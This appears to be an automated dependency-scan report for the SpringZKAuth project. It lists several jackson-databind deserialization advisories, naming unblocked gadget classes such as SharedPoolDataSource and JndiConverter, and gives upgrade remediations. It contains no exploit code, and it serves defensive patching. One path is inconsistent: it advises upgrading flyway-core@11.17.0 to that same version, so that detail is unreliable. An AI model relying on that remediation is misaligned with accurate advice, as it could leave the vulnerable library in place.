Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A Polymorphic Typing issue was discovered within org.apache.commons.dbcp.datasources.SharedPoolDataSource was not blocked. An attacker could leverage this gadget type to perform Remote Code Execution attacks through deserialization.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.1, 2.8.11.5, 2.6.7.3 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A Polymorphic Typing issue was discovered as com.p6spy.engine.spy.P6DataSource was not blocked. An attacker could leverage this gadget type to perform Remote Code Execution attacks through deserialization.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.1, 2.8.11.5, 2.6.7.3 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A Polymorphic Typing issue was discovered related to net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. When Default Typing is enabled for an externally exposed JSON endpoint and the service has the apache-log4j-extra (version 1.2.x) jar in the classpath, and an attacker can provide a JNDI service to access, it is possible to make the service execute a malicious payload.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.1 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. Two additional net.sf.ehcache gadgets are not blacklisted.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.2 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to an incomplete black list (incomplete fix for CVE-2017-7525).
It lacks xbean-reflect/JNDI blocking, as demonstrated by org.apache.xbean.propertyeditor.JndiConverter.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.7.9.7, 2.8.11.5, 2.9.10.3 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. Mishandles the interaction between serialization gadgets and typing, related to:
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig(akaibatis-sqlmap)br.com.anteros.dbcp.AnterosDBCPConfig(akaanteros-core)org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig(aka shadedhikari-config)
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.7.9.7, 2.8.11.6, 2.9.10.4 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to an incomplete black list (incomplete fix for CVE-2017-7525).
It doesn't block common-configuration JNDI classes org.apache.commons.configuration.JNDIConfiguration and org.apache.commons.configuration2.JNDIConfiguration.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.8.11.5, 2.9.10.3 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to com.caucho.config.types.ResourceRef (aka caucho-quercus).
Note: This vulnerability does not affect release 2.10.0 onward.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory (aka aries.transaction.jms).
Note: This vulnerability does not affect release 2.10.0 onward.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
